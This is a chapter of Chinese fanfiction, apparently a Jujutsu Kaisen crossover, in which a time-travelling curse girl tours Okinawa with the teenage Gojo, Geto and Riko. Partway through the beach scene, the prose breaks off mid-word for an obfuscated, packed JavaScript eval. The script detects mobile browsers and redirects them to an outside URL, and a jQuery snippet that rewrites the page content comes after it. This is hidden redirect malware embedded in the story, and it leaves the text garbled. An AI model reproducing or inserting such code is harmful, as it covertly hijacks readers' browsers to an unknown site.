在三人一起去拿行李的时候,小莳仗着自己也是普通人眼中透明人左看右看,根本没找到伏黑甚尔。然而就他所说……未来的他这么说,他一直都跟在后面远远地跟着,消磨五条悟的战力。 现在人在冲绳,发现了不得,这种在被阴恻恻观察着,然后一言不合就被捅个对穿,这种事情不要啊!她反坐在夏油杰拖着的行李箱上,解除实体化,又回到无色的咒灵形态。 独自承担了咒术界的兴亡,小莳感觉到身上担子有点重,“帮我拆一袋雪盐什么什么小饼干,我听说她们几十年没变配方,我以前网购过,好吃。”猜测未来十几年也没变配方,所以现在应该还是很美味! 其实也说不上兴亡,小莳知道自己会阻止同化的,千岁老人不在她的考虑范围之内!不过杰他如果不叛逃,未来的事情又会好解决得多,他俩关系要是一直维持下去,那必定也是不错。 她笑眯眯,晃着腿,为自己的两位小弟送上美好的祝福。 五条悟不领情,随手拿出个东西丢给她,小莳把包装袋裹进怀里,要是被人看见食品包装袋在半空中自己拆开影响不好,这家伙一点也不懂她的苦心。 “这是给杰买的,我要的是底下那个,拆好了再给我。” “啰嗦,老子觉得你很烦。” 很难想,还有比五条悟更难相处的人,就是十几年前的他自己,这个【老子】的称呼,什么中二小王子啊,小莳瞪了他一眼:“看见我的眼神了吗?想要杀一个人眼神,是藏不住的。” “现在要给两个小女孩做保姆了,老子不爽。” “以后你还要带仇人的小孩呢,有点耐心,我已经是你能接触到的回报率最高的孩子了,知道吗?”此话不假,小莳嘴巴一张,就叼住了五条悟嘴上说着不要,身体却很诚实丢过来的小饼干,“不错,导购小姐没骗我,味道和2018年的一样,还是你推荐给我的。我们第一次见面的时候我就从狱门疆下面把你救下来了,后来还帮你杀了好多人,你还真的是个会操纵人的坏家伙,五条悟。” 其实也没有做太多事,第一天那是善心大发,后来是劳务关系就在那,时不时做一点。五条悟人不错,严格来说不算是会操纵人。他还挺关怀她的,是比mafia那边好不少的引导者。不过小莳隐约感觉到,五条悟有点被她说的事情恐吓到,这个体验还蛮新奇,未来的他更加处变不惊。现在机会难得,她兴趣上头,想拿未来的事情套入新闻学模板--吓吓他。 现在,未来的小领袖汗流浃背了:“真假,我让你做的吗?” 小莳鼓着嘴念了几个名字,黄油和盐的芬芳一起从她唇齿间流散出来,“这些人你应该认识,毕竟都是御三家里的,不认识也没关系,我也不擅长记每个目标的身世。你得对我好点,虽然以后不一定能遇见我。”平行世界没有融合也是可能的,不妨碍小莳说出其中的可能性。 她的意思相当明显,有人指派她把这些名字的所有者…… “未来--究竟是怎样的?”天内理子听说了这个未来之客的事情,她自知在明天同化后,自己的存在就会被像冬天室内窗上的水珠一样被抹掉,只留下形体来稳固天元大人的根基,维持国内的一切结界。可她也仍然好奇,那个自己已然消失的新世界。 也许在她自己坚信的奉献和投身的意志下,也还存有一点点不甘心。 “虽然很唬人,但实际上很美好,你做了爱豆,还想去演点戏。是的,好消息是你没死。”这有点难到小莳了,她在肚子里搜刮着可以用的素材,要足以取信于人才行:“你讨厌吃香菇对吧?但是黑井女士会神不知鬼不觉地在饭食里加上很多香菇,然后就被你顺畅地一无所知的吃下去了。” 里包恩说她有着相信事情一定会变好的坚韧信念,这种时候就要真的说点好听的、可以预见的未来才行嘛,解释不了的事情就推辞说不知道就好,两个dk会给她找补的。 “欸?真的吗?!”天内理子惊了,她真不爱吃香菇,“黑井和你说的吗?” “不是,你后来说的。”她编的,但远月确实存在那样巧妙能够遮掩特殊味道的厨师,小莳就地取材了一下。有一次连她都吃下了一锅胡萝卜为主菜的蔬菜芝士宴。 理子就像被甜品引诱的爱丽丝一样,她问了:“同化呢?” 小莳逮着夏油杰的手腕,头朝后仰,身体45°倾斜越过男高巨大的遮掩,和扭头看她的理子对视:“没有同化,你过上了曾经有过一点期盼的、普通人的生活。其实杰和悟想到最后再问你的,可能今天救完黑井后带你观光一圈,激发一下求生欲什么的。但我想,何必要等到最后呢?想要和家人永远在一起的心情,无论何时都不会停歇的,就像……海水啊洋流啊,一直在流动不息。所以接完黑井你们不要大意的相拥哭泣完过完美好的今天就马不停蹄离开,等到明天的太阳落下--恭喜你,新生就于那时开启,等到后天就去拥抱为你而升起的朝阳吧!” 也许是她所编织许诺的未来过于美好,天内理子呆愣在原地,听见了她的下一句:“我早就想尝试麻花辫了,你的头发,是你自己编的吗?” 一眨眼,行李箱上的咒灵姑娘变成了她的样子,散发,右手横在眼前,对她比了个耶:“小理光波!这也是以后你常用的技巧呢。”小高田今年5、6岁,她不会介意的。小莳惊讶地发现自己认识不少爱豆,理子、梦见弖、小高田。硬要算的话其实还能加上老牌明星冲野洋子,有过那么几面之缘…… 这个“小理光波”一下就让天内理子红透了脸,特别难为情地忘记了之前不可置信的一切:“太,太羞耻了!我以后真的会这样吗?请,请不要用我的脸做这种事!” “怎么会,我觉得超可爱啊,”小莳解除幻术,对后面的理子和五条悟一人来了一下,“怎样?” 理子红着脸结结巴巴说好看,五条悟撇过了脸。 小莳转过脸,对夏油杰发射了一道小莳光波,询问他电后感:“不可爱吗?” 他叹了一口气,“饶了我吧。”这种事情怎么可能承认。 “杰,悟,你们,没品。”怪不得一个是大龄单身,一个是单亲爸爸,不像她,年纪轻轻什么都有了。小莳晃着腿,就被后面赶来的五条悟手掌袭击,她的头发都被揉乱了。 “你说谁没品呢,白毛?” “说的就是你!”小莳向上反捉住他的手腕,脚一蹬就翻到他身上。双腿盘住他的背,开始揪五条悟头发。 机场里,在一般人的视角上,有个五官清秀的高大学生在和空气左右互搏,最后他还生气了。 夏油杰看得出来,这个小莳的体术是肉眼可见的一塌糊涂,悟在后面收手了,所以对应的--被欺负得有点惨。打圆场:“好了好了,接下来要做什么?” “盘星教怎么说?”小莳站在一边,整理仪容仪表。 理子报了一个地址,“十一点前可以到吗?” “不知道,我第一次来冲绳,身上没有手机,不过可以确定盘星教的邪恶势力不能把她怎么样。”听说甚尔当时托孔时雨把女仆干掉的,而不是绑架,谢天谢地,两个人里还有那么一个不太反社会的,这种话就不要说出来了,和高专dk才认识不足一小时,不要削减为数不多的信任。 不过说到孔时雨,这个和主线总是描边的重要男人,小莳想,做人留一线果然也是成功之魂。建议伏黑甚尔每天抄写一百遍。 “在你的印象里,有什么阻碍吗?”夏油杰这样问。 “没有。明天才是重头戏呢。”不过小莳也没说明天发生了什么。经过她的一边聊天买零食一边三心二意思考,除了理子先离开之外,一切都可以按照她听说过的发展来。“还没到你们和总监部开战的时候,先安安静静把任务完成了再说。” 反正也完成不了。如果人是在薨星宫被一枪击毙,高层也很难追责--要感谢禅院家和作案人有血缘关系,有他们在不必担心案情进展,根本进展不了;五条家的顶梁柱又因此学会了反转术式,究其根本又是天元大人亲自点名。 呜呼,未成年二人组不用为它负任何责任。 103. 第 103 章 在前往约定地点的巴士上--她真的很有意见,两个特级,一个星浆体,特级中的一个还是那个五条家的未来家主,打个车怎么了呢?但是因为他们是男高中生,说冲绳出租车太贵了,最后三人就坐在公车最后一排,而小莳独占其他四个位置,因为没人。 过了一会,五条悟有点别扭地问她:“我什么时候能学会反转术式?” “明天一定。” “真的假的?” “哈哈,假的。”她现在有点体会到尤尼预知未来的感受了,说出来万一对方因此松懈,然后就真的千钧一发被干掉--小莳凑近,几乎是和坐在一边的五条悟鼻尖对着鼻尖:“反正家入医生说你没悟性,你看着办。” 落地冲绳不足一小时,小莳解锁了特产项目,逗猫。16岁的五条悟比29岁的有趣多了,很容易炸毛。 他气的要死:“你怎么对她用敬称?” “她是我半个老师嘛,而且家入医生很关心我,我很感激。” “那你是怎么学会的?” 小莳给他介绍:“有一天吃棉花糖,手被袋子划破了,然后我气沉丹田,咻的一下就愈合了。这样吧,你去买一袋A4纸,回来切手指玩,说不定就会了呢?” 不会她也不负责的哈, 五条悟当然不会因为她恶劣的逗乐就当真,他又小声发了一会脾气,小莳好生安抚了他:“反正在六眼害死你之前你总会学会的,别着急。至少在所有人的认知看来,你都是最强。不如你先想些更远的事情,比如说你要如何大战魔虚罗,或者怎么更进领域的学习?” “禅院家的祖传术式还没出生吧,而且御前比斗早就和皇权一起没落了,不会出现以前的事情的。” 夏油杰问他们在说什么,小莳给他讲了曾经的时代里,有个五条家主和禅院家主同归于尽的八卦,就是因为太冲动,召唤出了十影中的最后一位,魔虚罗,所以后面两家关系不太好。 五条悟再次表现出他不可一世的一面:“那老头只是投射咒法,他儿子也是,最多一级,没什么好担心的。” 小莳则是告诉夏油杰:“出生了,02年。不过我也没见过魔虚罗,我觉得他很有希望调伏呢。你们知道吗,那孩子在15岁的时候就领域半开了,是不是比你们年轻有为?”显然,他们是不知道的,小莳觉得自己得上一种会炫耀男朋友的病。 像是她以前见识过的:自己是家庭主妇每天只能用另一半作谈资的类型。这可不好,还是多说点自己的事情。不过明天结束后……说不定可以去找惠,有点期待啊。 五条悟的表情看上去想把人提前找到然后刀了:“他叫什么名字?” “别激动,放轻松。还是个孩子呢!不如我们先聊一下下午的观光游览行程?理子想去哪里玩?海边肯定得去,水族馆也是著名景点,其他呢?” 她的表情有点雀跃,随即又想到家人还在关押状态,说这些是不是有点太早了。不过在小莳询问的眼神下,天内理子还是提出了自己的建议:“想去公园划船游览,看看风景。” “是去红树林观光吗?我觉得很不错!那我们就去那边玩。冲绳这边玩诅咒的人少得很,以前一直没有机会来这里公费旅游,今天就要像自助餐一样玩个够。” 夏油杰捂住了额头,怎么感觉悟,多了一个……难道只有他觉得这女孩讲话有点像悟吗?转头看挚友,挚友在用谴责的目光看她。 “小莳啊小莳,你怎能如此的堕落,整天就想着玩玩玩。”然后他把她拉到一边。在后排的左边,小莳被五条悟推在车窗上,他避开了旁边二人问:“那任务是怎么失败的?” “不能说呀,说了就更糟糕了。你连阿克琉斯追乌龟都知道,那也该听说过命运的把戏吧?在你以为自己将要逃脱的时候,它将加倍地愚弄你。”小莳都能闻到他身上的香味了,洗发水不错,她用手指点了点五条悟过于逼近的额头。 她以一句并不真诚的糊弄做结:“相信我吧,当然不信也随你。”反正她不说。 本来以为问题儿童只有夏油杰一个人,没想到这位也难缠,光想着怎么让夏油杰丝滑地不要黑化,至少别做出把父母都干掉的事情已经很头疼了,她来的时机不好。在去京都的飞机上,她本来可以听到更多的。 现在只好走一步看一步。 五条悟松了劲,转身瘫坐在小莳旁边,“怎么办呢,你都这么说了。小莳指挥,你要好好对我们的行程负责啊。” “当然,我可是境内第二可靠的特级编剧。今天下午的游玩就由你来付钱,没问题吧?今晚我想吃烧肉,来冲绳不吃烧肉就像芝士退出甜品国籍,后面忘了,不可原谅。”小莳想起了居酒屋那天晚上五条悟的暴论,现在拿这套话术来挑拨十几年前的他。 “……我们以后还真是很熟,对不对?” “不然呢?”不熟就不管你们这烂摊子了,小莳扭过头去看他,“你要多自己思考,别总依赖杰。” 夏油杰和理子说完话后,往五条悟和小莳这边走时,听到的第一句话就是这个。 五条悟龇牙说他哪有,小莳看了一眼他,没对此作出回应。在挚友面前给他点面子,她问夏油杰:“怎么了?” 两位高中生换了一轮座椅,这会谈心谈话对象变成了夏油杰。 “哎。” “怎么了?” “一看到你的脸就有点疲惫,有一种七海听说今天不能离开冲绳的痛苦。”可以理解为自愿加班。 他问:“我让你觉得棘手吗?小莳小姐。” “杰,你真好。”她撑着座椅边沿起来,“你以前布置工作的时候,从来不问我会不会感到难受。叫我小莳就行,稍微感受到了一点你在岁月中逝去的良心。”他没给她布置过什么工作,小莳只是强化一下科长人设,以及转移一下话题。 夏油杰果然误会了,还安抚她,会没事的。 这……怎么说呢,就很难讲。 “我们关系挺好,你有什么可以问,我酌情回答。”小莳又想到了一个问题,咒灵形态的她吃了东西,要怎么消化呢?这可不是小事,得好好思考。 夏油杰是个心思细腻的人,这点小莳也早就清楚,可他问的问题仍然让她觉得刁钻:“关于我不做咒术师成为公司主管的事情,还有我的孩子们……有什么值得注意的吗?” “唔,没什么需要和你说的。人生总是面临各种选择,并不是弱者都值得可怜,以强援弱的前提也得是对方脑袋正常,偶尔也会出现一些蠢到不自知的邪恶坏蛋。你可能就是意识到这点后才决定离开的吧。”更确切说,叛逃。不过那是遥远的未来了,在当下,并非不可能被改写。 “孩子的母亲呢?” “这个好说,明天任务结束以后,我就告诉你。”小莳的眼里透出狡黠,“其实是个值得高兴的故事,菜菜子和美美子很高兴她们是被你抚养长大,你是个很好的父亲啊,杰。” 她不想他问太多,如果不小心透露出一些敏感的内容,圆不起来,杰又是个真正意义上的高敏感人群,小莳开始自己找话题,填补两人的沉默。 不幸的童年提供了巨量谈资,她说起门外顾问想把她打包送给监狱的事情,又说起身边有父亲身份的人大部分都……只有他看上去比较正常。 “我有一个朋友,他爸不要他了,给孩子卖了10个亿。最后被另一户人家截胡,抢走了。到今天还没有回归本家呢!” “还有个朋友,是天与咒缚,她爸恨死她了,她就离家出走了。” “还有一个朋友,嗯,也不算朋友,聊的不多,算朋友的朋友吧。自从老婆死了以后就和家里关系不太好,一问原来是老婆成了过怨咒灵,天天恐吓孩子爸妈,还有妹妹。后来还有一个宗教教主想要抢他的老婆,我的天呢。” 她说到这里就开始狂笑,夏油杰没觉得这很搞笑,但还是礼貌的在旁边听。 “为什么呢,因为这个咒灵很强,他比较眼馋吧。” 这个故事没头没尾,他问:“后来呢?” “他拯救了自己的老婆,把教主打跑了。不过死掉了就是死掉了,我个人是觉得没必要抱着死去的人不肯防守啦。但好像很多人选择了自我禁锢,放不下。” 小莳灵活运用自己的知识,接下来又和他说了个好朋友中死了一个的故事,另一个人就很失落地过了一年:“不过那个好朋友比较幸运,他复活了,还去了外国进修秘书学与行政管理,顺便学了门外语,回来以后直接做项目负责人,超级气派,也算是happyending。世界就是很drama啦,不过未来的一切都挺好。如果你是想问这个的话。” 夏油杰听见小莳的最后一句话,感慨:“你真聪明,小莳。”一下就发现了他心中最想问但又犹豫的事情。她的话语零零碎碎,他听不明白他们之间的关联,不过,正是这些日常一样的事件,构成了赖以生存的世界。只要一切都好,这个世界仍然是值得人为之奋斗的,就都没关系。 “我想想,你、悟、家入医生、夜蛾校长、七海、灰原、伊地知,当然,还有理子,据我所知,大家都得到了应得的幸福,不过生活都不是完美的,我所说的幸福都是现世中磕磕绊绊的令人心悦之事。咒术界的加班仍然严重,高层也很烦,然而有些不能透露的事情在发生……emm,如果要我描述的话,我会说事情确实较之前有所好转。不过那是未来的事情了,不是现在的你要考虑的。过好每一天,然后不做让自己后悔的选择,就这样在不尽善尽美的世界里迎接新的一天。请你尽可能向这个方向努力。” “伊地知是谁?”听到了一个不熟的名字,夏油杰很快又敏锐地听出了话里规劝的意味:“你这么说,是在说我以后会有这方面的……问题吗?” “欸,是你学弟,你不认识他吗?” “不认识。” “……”伊地知洁高,你到底比五条悟年轻多少岁啊,小莳回忆起那张被工作压垮的脸,“真是知人知面不知心。” 虽然不知道她在说什么,但这句话绝对不是这么用的。 “别太敏锐了,杰。对你不好。”小莳豪放地搂住他的肩,胳膊跨越了他的后背,肌肉相当发达,“正论给你带来了一些痛苦,但那最后都会过去的。”生活不在真空中,总得露一点缺陷出来,才能让聪明的少年忽略更多。不知不觉她也做了和甚尔一样的事情,消磨。 不过她的动机和初心可纯良多了。 他却还问:“我,没做什么让自己后悔的事情吧。有吗?” 夏油杰在盯着她,不放过任何的表情,小莳的手从他肩上下来,然后给了他脑袋一拳,他没躲:“你真坏,就挑这些不能问的!” “这是最后一个问题,然后今天就是愉快的审问和游览项目了,你保证不扫兴。” “好,我保证。”他朝她微笑,笑里还有一层“你知道的,我也没办法”的让步和无奈,好像在诉说自己也身有苦衷,可惜狐狸尾巴露太快了,他紧接着就像得到回答:“有吗?” “当然有,你在冲动之下和爸妈决裂了。在当时当刻你觉得再也没有其他的方法,这是你非做不可的事情,十三年以后你和我说你有些后悔,因此希望我原谅我爸。事先说好我一点也不想原谅,但是你的话……你觉得自己做过了。”就算是她也觉得过了,毕竟是物理决裂,开弓没有回头箭。 他好像恍然大悟:“--这就是你在那个时候和我说的,因为未来的我是这么告诉你的吗?” “差不多吧,两个童年不幸的家伙在一起可不就是编排父母嘛。悟和他爸妈根本不熟,你和他没什么好聊的。但你上班不太忙,给下面人布置完工作就搬凳子来找我了。”虚实结合的假话,故意模糊的时间线,以及轻描淡写的事故描述。小莳心想,她可是一流的术士,在偶尔需要谎言和假面点缀的场合,她一定不会拖后腿。 “……”什么叫编排父母。 “而且这里是过去的世界,未来不只有那一条,你可以有空看看平行世界理论。我不想让你变得比之前我听说过的十几岁的你更糟糕。你喝酒以后话还挺多的,以后记得少喝,知道吗?”她根本不知道夏油杰的酒量,但是同期里面,家入医生说学生年代抽烟喝酒两不误的只有她一个,小莳根据一系列信息判断出,16岁的夏油杰极有可能没喝过。先贷款说点助助兴,顺便给安点不存在的罪名增加可信度,以及加深指责的含义。 他乖了:“知道了。” 夏油杰有些想知道小莳和另一个世界的自己是怎么相处的了,但他答应过,最后一个问题。 好在,答案是令人欣喜的。 小莳瞥到了他开心溢于言表的脸,心道,他这样的人以后一定会被算命的骗。 公交平稳驶向目的地,下车后几个人还走了一段,小莳不想走,继续坐行李箱被忠实的仆人们轮流推。 “我还没见过黑井小姐。看看传说中的女仆装长什么样。” “……”什么话被她一说就很怪。他们是援助小组,不是什么奇怪的组合,也不是色狼。 “因为是理子的家人,所以我们请黑井女士也选一个喜欢的景点好了,今天全场悟少买单!”在一段下坡路上,小莳双手高举,感受迎面来的微风。 悟少松了手。 有高速运转的机械载着小莳往下滑,她手忙脚乱稳住了身形,还稳住了行李箱,回头怒视:“你干嘛!” “好了好了,我来推行李。”夏油杰小跑过来,碰触拉杆,言语中有对她的微词:“你说你惹他干嘛?” “你居然为了一个男人怪我?!” 和平大使转移话题:“我不是,我没有,当我没说,想喝饮料吗?那有售货机。” 在几秒的安静后,她说可乐。 拿到手以后,她咕咚咕咚喝了两口,然后说:“你好像那个婆媳关系不好里头的丈夫。” “……”说得好,下次不许说了,“快到了,约定好的地方,到时候你和我一起保护理子,悟进去突围,可以吗?” 小莳握住拉杆的另一侧:“没所谓的,盘星教的教徒只是一群很坏的乌合之众,也挺菜。只是蟑螂多了看起来让人觉得很麻烦而已,他一个人就能全干掉。只不过你们应该不会乱杀人,对吧?” 毕竟还是纯良的高中生,而且作为咒术师,小莳深知:有伤亡就要写报告,除非本来就要写。盘星教这边的非咒术师团体,原本是不需要写在报告里的。 她也算是写出经验来了,虽然最后都是男朋友修修改改的。 不知道惠惠有没有想她,她有点想了。甚尔……暂时算了,明天就能见到那张脸,但一点也不期待。 事情就和她预料的一样,夏油杰和她就在门口陪着理子,聊天,插科打诨,没过十分钟消息就发到他手机上了,是五条悟。 “真好啊,六眼,以后打工又快又好。” 夏油杰手机在手上晃了一下,低头看行李箱上的女孩:“……你别说这么恐怖的话,悟会生气的。” “你们两像纳豆,黏黏糊糊的。”小莳把易拉罐丢在地上,反正此地的主人已经被降伏,“他们还挺有钱的,这么个楼,而且悟以后确实很辛苦。大概就是被压在高层和想保护的人中间让他不那么自我了,挺好的,不然我受不了他。” 他为挚友说了句公道话:“你也挺自我。他也有点受不了你。” “他受不了的多着呢!不过我挺喜欢他的,他的决心和魄力是很稀罕的东西,不愧是叫悟,很好的名字。”小莳跳下行李箱,叉腰:“你们是大人,就应该让着我,我才18呢!” “……”他们才16啊。 小莳也意识到自己说话的对象错误,撅着嘴承认:“现在说自己0.4岁还来得及吗?” 来不及了,两人一咒灵乘坐电梯上楼,抵达地方营帐。穿着看起来最正式的人已经被绑好安置在椅子上了,传说中的黑井在一边坐着。 女仆装还挺可爱。 小莳和她打了招呼,招手。对方颔首示意,然后急急忙忙和理子拥抱,说明自己一点事情也没有,让她担心了。 小莳扭头,不知道该和谁说,就先和杰说:“我也想让惠惠穿女仆装给我看。” 他没什么反应,坐在老板椅上翻找资料的五条悟呛了一口水,他开了桌上的一罐乌龙茶喝。“你脑袋里在想什么啊,我们不是这么不正经的群体。” 小莳朝他吐舌头:“如果是那个是界的你应该超级激动,wakuwaku的,别装大人哈!”她早就看透他了。 又轮到最可靠的夏油杰来稳定局面了,他问:“惠是谁,你的朋友吗?” “是哦,他就是那个10亿。比悟多9亿。”小莳故意的,她承认自己有一点喜欢逗五条悟玩,虽然他大概率并不觉得好玩。 他炸毛了:“老子值1个亿,你呢,小小姐,你值多少?” 早有准备,一环扣一环,她笑眯眯回答:“20亿,明码标价。” 五条悟是个坚强的傲娇,目前是的,他很……骄傲,镇定地反馈:“我不信。” “确实,吹牛又不用交税,但真是这样。这事就和你喜欢井上和香一样真。”小莳掐指一算,这会大约正是那个时候,“你喜欢她吗?” 他此时地壁纸就是井上和香,五条悟有点气急败坏了。 “不说话?看来你也一样喜欢。”挺像的,也正因为如此才想不到他以前是这样子的,比2018年那会……幼稚好多! 他口吻现在又有些冷淡,好像对小莳说的一切都起了被动防御心态:“我和你认识的五条悟不是一个人,别把我们混淆了。” 这副扫兴鬼的样子成功让在场的人都愣了一下,他的郁闷和不愿搭理是如此明显。 小莳歪着头看了他一眼,然后转眼直接忽视他,她打算冷处理。和夏油杰提议让自己来审问,保证又好又快,一定会在十分钟内完成。 她做到了。请夏油杰撕开了话事人嘴上的胶带,在对方虚张声势的大声嚷嚷后实体化了自己,吓了他一跳,然后话不多说催眠了他。 在幻术中,他对传说中的天元大人招供了一切。“就算是能够与星同陨,我等虔诚的信徒也在所不辞。” 小莳给乐笑了。 好好好,就怕蠢货要思考,还津津乐道。最糟的是,上千个这样的人还凑一起了,他们身上还有钱。这也是一种克苏鲁,奈亚如果在这里一定会很高兴。 “没有人为天元大人发声吗?震惊,如此这般如此这般。”千岁老人恨死这群毒唯,直呼要解散粉丝后援团。 小莳笑着打晕了这个虔诚的信徒:“大哥哥,你就陨吧,谁能陨得过你啊。” 现在的时间是十一点二十,恰好可以吃午餐。 小莳转头,骄傲叉腰:“世界上那么多罪行,都被冠以爱的名号。他们要是真的敬爱天元,当然会更在意她的想法。小道消息,天元大人是女性,以及,我们可以开始紧张刺激的午饭了。”六眼都派出来了,蠢货也能看出来她超想要理子吧? 就算盘星教的人真的有信仰,他们所信仰的,也不过是内心捏造的神明,搞自嗨就没什么意思了。和上次村里的一个样。 她在午餐的琉球烧肉中,分享了贪吃蛇的经历:“报警挺好的,警察能不能解决看警察,解决不了也没关系,主要起到一个程序上的作用。” 两位高专生没说什么,理子啧啧称奇,感叹在未来的未来,手机都变成触屏了,竟然还会有这样的事。 “是呢,我讨厌村子。但也不是说就不讨厌城里了哈,我也挺讨厌京都的。”小莳见到了几乎没什么变化的理子,她很喜欢看到理子和黑井女士的互动,让她旁观也觉得温馨。 只是这样一来,阳菜岂不是有点代餐的意思?她回忆了一下米花町的见闻,这么一想,还真是! 果然,世界是一个巨大的代餐文学。 每种肉类尝了一块,最后得到小莳颁发的金奖的是,碳烤果香牛肋条:“因为它又甜又咸又酸,我怀疑里面用了黑糖,好吃。” 她坐在卡座的最里面,夏油杰微笑地倒水和给肉翻面,给她在一般人视角下凭空举起的筷子和肉打掩护,五条悟坐在最外面,离餐车最近,在上面挑选着自己想要的肉类,然后统统丢进烤盘大饱口福,只是座位间主要是女士们的声音。因为有黑井也在说话,还有夏油杰偶尔的加入,听起来就像是有来有回的朋友聚餐。 十二点半,一行人抵达海水浴场。距离公认的睡觉时间还有很久,足足九到十个小时,因此小莳在避免出现两位dk又问东问西的情况。 信息保密可是任务环节中很重要的一环,她拉着理子就下了水,并警告后面几个人:“不许偷窥美少女洗澡。”五条悟嘁了一声,夏油杰捂脸,她就知道未来一个小时稳了。 黑井女士穿着泳衣,但也没下水。 小莳想起来自己在意大利的时候还拒绝了碧洋琪的游泳邀约,结果现在在冲绳和未来学妹一起玩水,感觉怪不好意思,她决定要收敛一点玩乐的心情,所以给自己选择了一套非比基尼的外观的连体泳衣,黑色。 几乎是潜水服的露肤度。 理子问她为什么不选个更可爱点的泳衣,她认真且恶趣味地告诉她性感泳衣只能穿给男朋友看,理子就:“……”并且脸红。 实际就小莳和理子之前的交往来说,对方对男人兴趣并不大。 果然,她下一句说,自己是因为黑井觉得好看才买身上这件的。小莳恭喜她和黑井女士喜结良缘。 “这个词不是这样用的,小莳!”理子气得朝她泼水。 柔软的沙石,一望无际的海和天,每在沙滩和浅浅的海水上踩下一脚都会有水花的声音,海风的气息吹得理子有点晕乎,海滩空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413171|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡荡的,不知道五条悟怎么找到的这个好地方,除了他们四人和小莳之外一眼望不到其他人。 在正午耀眼到皮肤都有点干涩的阳光下,天内理子第一次强烈感受到【活】的气息。 小莳被一路追到干燥的没被海浪扑打的细沙上,滚烫的温度和带点摩擦的脚感是平时穿鞋袜走在路面上不一样的感觉,她举起手认输:“投降,理子大人你饶了我吧。” 然后她扑到和她身形相仿的少女身上和她嬉闹。直到理子说她身上被晒疼了,小莳才和她走回黑井早就准备好的餐垫上。她很会找地方,那是一块石头阴影的一侧,两个人刚好可以窝在影子里。 “一开始也许还应该买个遮阳伞。”小莳捏着下巴说。 “这种东西我们可不拿。”五条悟真的很叛逆,不过他即使在未来也不干这些后勤体力活,辛苦伊地知了。 小莳也不是那种认为出门在外男人就应该干活的人,事实上,她用幻术造了两把遮阳伞,还好心的分了两位少年一把。 “一直开着无下限也睡不了觉,辛苦你啦。”睡不了觉本来就容易暴躁,贴心的小莳体谅他,而且确实是她给了对方一点焦虑,按常理说,还在高专的五条悟已经做的足够好了。 只是,仅仅足够好还不能够应对本来该发生的一切。小莳稍微体会到一种29岁的五条悟对她包容的眼神里隐藏的期盼。 好吧,世界是一个巨大的轮回,一个没上大学的孩子不该经历这些。小莳总算亲身体验了一把青少年的青春被剥夺的不快,现在她是“剥夺青春是犯罪”言论的忠实拥趸。 拍拍白猫花衬衫的胳膊,小莳像以前的大人们一样鼓励他,然后回头跑回了有理子在的遮阳伞下,她轻轻和大概率不会成为自己学妹的人撒娇:“真是劳累,本来这时候我应该在2019的春天里享受人生的,反正什么事情交给别人做就好了。”有一种辛辛苦苦工作五天准备欢度周末的时候,主管带着加班材料往办公室门口一坐的感觉:“六点大家来我办公室开会。” 理子用她圆溜溜的大眼睛纯真地看向她:“现在交给怪刘海和狂气男就行啦!” 小莳被她的外号逗笑。低头掩饰眼睛里的其他情绪。要是他们能解决她才不管呢!不管怎么说,作下了有关美好未来的允诺,就还是……努力往实现的方向靠拢吧。 “你可真了不起。”小莳对理子微笑:“一句话,让三个清纯高中生为你出生入死。” 理子就羞恼地倾身过来想掐她的腰,小莳后仰躲开,翻了个跟头到阳光下,她是没有实体的形态,但阳光很温暖。 在理子又找到五条悟玩耍后,小莳和夏油杰还有黑井坐在一起,他们都喜欢晒太阳,挪到了遮阳伞外。小莳把腿埋到沙里,她觉得这样很暖和。 她把头往前凑,看到五条悟手上拿了个东西,再一看,海参。黑乎乎,软绵绵的,还在喷水。 “好恶心。”虽然这么说,但小莳的目光仍然没有移开。 在夏油杰看来,她的眼睛亮晶晶的,很美丽。他代替挚友和小莳道歉:“抱歉,悟今天早上心情不太好,他确实很久没合眼了。而且你……可能让他有了些危机感。当然,这并不是你的问题,小莳。你认识我们很久了,可我们才知道你第一天。” 她突然对他说:“杰,你真好。”不过想来确实是她的问题,四个小时前,她像报丧鸟一样带来了两则死讯,狠狠打击了少年人的自尊心。而且,事关【长大】的话题本来就很沉重。 就心智而言,小莳已经足够成熟,她想借这个机会再多说点,关于夏油杰。 “我可能给他带来了一些坏消息,在到座位之前。御三家的家主可不好当啊,各种各样的事情,他可能觉得自己和其他人的界限就在我的焦虑宣扬中消除了吧,而且确实,他现在挺弱的。”前半句是真真假假,后半句纯诽谤。 “……”说点真情流露的话以后,就一定要再说些破坏氛围的,她还真是故意营造假幽默。 “到目前为止,你是他唯一挚友。”小莳冷不丁转了个话题。 夏油有些疑惑:“小莳,你突然说这些是?” “带你深层解析未来的最强,你知道的,在朋友背后和另一个朋友讨论他也是我们高中生经常做的事情。” 他学会了吐槽:“这不是我们高中生吧,你自己一个高中。” “你现在讲话像我领导了,别管。不过严格上说我确实不在高专上学,我的学校叫私立百花王,听说过吗?” 夏油杰是知道这所名流学校的,而且就在高专不太远的地方:“你竟然在那上学,我有个特级是在那里捕获的,那所学园,嗯,未来的时候学风如何?” “进化成家畜制度了,如果你想问这个的话。但我可赢了几个亿,不用担心我。早知道就不停学打工了,这可比咱单位赚的多,我领导,也就是你,现在还没在城里买房呢!”确实,夏油杰和他的两个女儿,住的是并盛的房子,属于风纪财团和其法人。不过他应该挺有钱,不知道出于什么考量。 “啊……如果是你的话,应该是不用忧愁这方面。连房子都没有?”他问。 “是啊,你多攒几年钱再转行吧。原始积累还是很重要的,城里的房价你也知道……”小莳拍了拍夏油杰的肩膀以示安慰,“没事,咱俩一样的,我爸妈也不给我买房,咱们靠自己呢~” 她没问过那么地狱的问题,但未来的夏油杰,他父母的财产多半充公了,他一个子也拿不到,不知道在盘星教的时候他有没给自己买房。 啊不过都是吗喽建的,他不一定想要。 结果于是就……那多半没有。 小莳觉得那她也没说错。夏油杰有点无语,他是个有梦想的少年,到目前都没想那么物质的事情,“要不我们回到悟身上吧?”他提议。 提议被采纳。 